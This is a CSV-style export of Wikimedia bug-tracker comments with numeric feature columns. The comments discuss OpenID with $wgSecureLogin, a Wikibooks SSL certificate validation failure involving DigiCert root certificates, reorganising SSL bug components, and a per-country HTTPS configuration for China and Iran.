258643,E:OpenID needs to work with $wgSecureLogin,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it.",,,1380233061,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,8.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,0.7777777777777778,"This is a problem with the id provider has $wgSecureLogin enabled. Since the WMF is running $wgSecureLogin, we need the extension to work with this in order to deploy it."
56457,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","URL: https://zh.wikibooks.org/w/index.php?title=Special:用户登录&returnto=Wikibooks%3A首页&returntoquery=&fromhttp=1
Browser: Google Chrome 29.0.1547.66
OS: Microsoft Windows XP [5.1.2600]

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1379900100,1419431545.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_description,resolved,True,c3,1,False,False,True,-93,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.8684210526315788,0.6052631578947368,"URL: URL
Browser: Google Chrome 29.0.1547.66
OS: Microsoft Windows XP [5.1.2600]

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
392732,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","resolving this for now as there's no activity and no clear action, feel free to reopen of course",,,1419431545,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.95,0.95,"resolving this for now as there's no activity and no clear action, feel free to reopen of course"
255110,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.

I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)

Do you want to follow up on this on that public computer or one that has the same problem?

If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it.",,,1405166710,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-51,True,0.3333333333333333,0.0,0.0,1.3333333333333333,1.6666666666666667,3.3333333333333335,1.0,0.0,0.0,1.3333333333333333,1.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,5.666666666666667,8.333333333333334,0.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,7.0,3.0,2.6666666666666665,1.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,10.333333333333334,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.3333333333333333,1.0,0.0,4.333333333333333,2.3333333333333335,11.0,2.6666666666666665,2.3333333333333335,8.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,0.0,0.0,6.0,8.333333333333334,5.666666666666667,0.3333333333333333,0.6666666666666666,0.0,6.0,0.0,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,3.9345331246739694,0.7756911841418884,"As far as I know all the popular OS / browser combinations ship with the necessary root certificate. So it should not happen in the default state. It is expected that when the root we use is disabled or deleted then one gets a warning or error.

I suspect that happened on that computer. You could check if the root is there under (from Chromium on Linux, hope this is similar for Chrome on Windows) Settings -> HTTPS/SSL: Manage certificates -> Authorities: Digicert Inc: DigiCert High Assurance EV Root CA. It should not say untrusted next to it and when you click the edit button ""Trust this certificate for identifying websites."" should be checked. (Most likely that was unchecked by another user.)

Do you want to follow up on this on that public computer or one that has the same problem?

If you find a configuration where that root is enabled and it doesn't work please open a new ticket. If you find a OS / browser combination that doesn't ship with this root or has it disabled per default please also report it."
255105,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #7)
> (In reply to comment #6)
> > On that computer, the reported error was ""issuer not trusted"".
> 
> In that case it sounds like it is missing the root and/or intermediate cert
> of
> the CA, which in this case is DigiCert.
> 
> You could go to:
> 
> https://www.digicert.com/digicert-root-certificates.htm
> 
> and download them and install in your browser.
> 
> It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate
> cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser
> should offer some install dialog when you hit download. 
> 
> That should make it trust the issuer.

Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states.",,,1380558898,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-92,True,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,1.0,2.0,5.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,5.0,7.0,19.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.253012048192771,0.4939759036144578,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well that's not ""my browser"" or ""my computer"". I saw this on some public computer, and wondered whether this also happens on other OS / browsers in their default states."
255100,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #6)
> On that computer, the reported error was ""issuer not trusted"".

In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.

You could go to:

https://www.digicert.com/digicert-root-certificates.htm

and download them and install in your browser.

It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 

That should make it trust the issuer.",,,1380558459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,3.0,1.0,3.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,2.0,15.5,1.0,2.5,7.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,0.0,7.0,7.0,10.5,0.0,4.5,0.0,7.0,0.0,1.5,0.0,1.5,0.5,0.0,0.0,0.0,3.666666666666667,0.75,"(In reply to comment #6)
QUOTE

In that case it sounds like it is missing the root and/or intermediate cert of the CA, which in this case is DigiCert.

You could go to:

URL

and download them and install in your browser.

It should be 2 of them , ""DigiCert High Assurance CA-3"" (in the ""intermediate cert""-section, plus the ""DigiCert High Assurance EV Root CA"".  Your browser should offer some install dialog when you hit download. 

That should make it trust the issuer."
255094,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #4)
>
> so i guess there must be some old browsers who don't look at the alt. names
> but
> just the main CN and then throw warnings while it isn't a problem for most
> users.

On that computer, the reported error was ""issuer not trusted"".",,,1380551783,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.7272727272727273,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

On that computer, the reported error was ""issuer not trusted""."
255089,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)",Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.,,,1380551707,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9130434782608695,Do you actually get a browser warning? what does that look like? the cert file you uploaded also includes wikibooks.
255084,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.


DNS Name: *.wikipedia.org
DNS Name: wikipedia.org
DNS Name: m.wikipedia.org
DNS Name: *.m.wikipedia.org
DNS Name: wikibooks.org
DNS Name: m.wikibooks.org
DNS Name: *.wikibooks.org
DNS Name: *.m.wikibooks.org
...

and more ..

so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users.",,,1380551582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-92,True,1.0,0.0,0.0,0.0,1.5,3.5,2.5,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.5,1.0,0.0,4.5,5.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,1.5,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,11.0,1.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,4.0,2.5,13.0,0.5,3.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,4.0,5.5,13.5,0.0,0.5,0.0,4.0,0.0,1.0,2.0,0.0,0.5,0.5,0.5,2.0,3.9097222222222223,0.6805555555555556,"this is a certificate that has common name *.wikipedia.org but it has a lot of ""Certificate Subject Alt Name""s. So in a browser in certificate details you need to go to that section and you'll see all these.. i'm just pasting the beginning to show wikibooks.org is in it.


DNS Name: *.wikipedia.org
DNS Name: wikipedia.org
DNS Name: m.wikipedia.org
DNS Name: *.m.wikipedia.org
DNS Name: wikibooks.org
DNS Name: m.wikibooks.org
DNS Name: *.wikibooks.org
DNS Name: *.m.wikibooks.org
...

and more ..

so i guess there must be some old browsers who don't look at the alt. names but just the main CN and then throw warnings while it isn't a problem for most users."
255079,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","(In reply to comment #2)
> How would I realize if it does not validate? Google Chrome says ""Identity
> verified"" when clicking on the locker icon in the URL bar.

It doesn't say so for me on that computer. You may need to use the same OS to reproduce it.",,,1379940712,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.8611111111111112,"(In reply to comment #2)
QUOTE
QUOTE

It doesn't say so for me on that computer. You may need to use the same OS to reproduce it."
255074,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar.",,,1379938592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,7.0,4.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,3.892857142857143,0.9285714285714286,"How would I realize if it does not validate? Google Chrome says ""Identity verified"" when clicking on the locker icon in the URL bar."
255069,"Wikibooks SSL certificate fails to validate (due to ""Certificate Subject Alt Name""s?)","Created attachment 13350
Received SSL cert

**Attached**: {F11896}",,,1379900248,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-7sjegbp7wrhxsjmwhqpk,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8235294117647058,"Created attachment 13350
Received SSL cert

**Attached**: {F11896}"
55999,SSL component vs. tracking bug vs potential ssl keyword,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
For example bug 39676 should be under ""Wikimedia > Email"" instead.

2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".

Maybe both should be killed and turned into a ""ssl"" keyword.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1378832040,1416786029.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-25ruekexebdkltbvcvqt,task_description,declined,True,c3,1,True,True,True,-95,True,1.0,0.0,0.0,1.0,0.5,2.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,6.5,0.0,0.0,1.5,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,11.5,0.0,2.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,6.5,8.0,0.0,8.5,0.0,1.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,2.0,3.6461538461538465,0.6846153846153846,"1. There is a ""Wikimedia > SSL related"" component in Bugzilla.
It feels wrong as ""SSL related"" is not an ""isolatable"" part of the codebase.
For example bug 39676 should be under ""Wikimedia > Email"" instead.

2. Tracking bug 27946 had the name ""Secure Server (tracking)"" and refered to the secure.wikimedia.org URL. At some point people (ab)used it for general SSL issues and renamed to ""SSL related (tracking)"".

Maybe both should be killed and turned into a ""ssl"" keyword.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
332310,SSL component vs. tracking bug vs potential ssl keyword,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: https://www.mediawiki.org/wiki/Phabricator/versus_Bugzilla - This task does not make sense anymore in the concept of Phabricator, hence closing as declined.",,,1416786029,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-25ruekexebdkltbvcvqt,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,18.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.4411764705882355,0.9411764705882353,"Wikimedia has migrated from Bugzilla to Phabricator. Learn more about it here: URL - This task does not make sense anymore in the concept of Phabricator, hence closing as declined."
55739,wmgHTTPSBlacklistCountries changes for CN,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.

'wmgHTTPSBlacklistCountries' => array(
	'default' => array(
		'IR', // Iran
	),
	'wikipedia' => array(
		'CN', // China
		'IR', // Iran
	),
),

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
{T54846}
{T66207}",Low,25.0,1378281480,1434484005.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-aswxwscnrmmqcunfrdq2,task_description,declined,True,c3,1,False,False,True,-96,True,0.0,0.0,0.0,1.0,0.0,2.5,0.5,0.0,0.0,0.0,2.0,7.5,0.0,0.5,0.0,0.0,0.0,1.5,4.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,0.5,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.5,11.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,4.5,9.0,0.0,7.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.5,3.164179104477612,0.5970149253731343,"It was reported by users that HTTPS block in China was only for Wikipedia, thus the following change is proposed, given the current policy of having the best security while trying to keep access for logged-in users in China.

'wmgHTTPSBlacklistCountries' => array(
	'default' => array(
		'IR', // Iran
	),
	'wikipedia' => array(
		'CN', // China
		'IR', // Iran
	),
),

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
{T54846}
{T66207}"
475852,wmgHTTPSBlacklistCountries changes for CN,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.,,,1434484005,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,2,True,,,-3,True,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.9375,wmgHTTPSBlacklistCountries is effectively obsolete at this point due to the conversion of everything to HTTPS.
236712,wmgHTTPSBlacklistCountries changes for CN,"(In reply to Andre Klapper from comment #12)
> Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)

I can't check it now but per user reports, the current situation is that:

* Desktop sites: no block at all
* Mobile sites: all projects are blocked

... and this can't be described with our configuration array. :/

Should we still be playing this cat & mouse game?",,,1395428710,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-67,True,3.0,0.0,0.0,3.0,3.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,8.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,11.0,1.0,4.0,7.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,5.0,9.0,4.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.546666666666667,0.8266666666666667,"(In reply to Andre Klapper from comment #12)
QUOTE

I can't check it now but per user reports, the current situation is that:

* Desktop sites: no block at all
* Mobile sites: all projects are blocked

... and this can't be described with our configuration array. :/

Should we still be playing this cat & mouse game?"
236705,wmgHTTPSBlacklistCountries changes for CN,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)",,,1395322745,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-67,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,6.0,33.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.7222222222222222,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)"
236698,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #10)
> Liangent: Situation is still as described in comment 8?

OK but it's reported by users that HTTPS is not blocked at all now...",,,1389295226,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-77,True,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1481481481481484,1.0,"(In reply to comment #10)
QUOTE

OK but it's reported by users that HTTPS is not blocked at all now..."
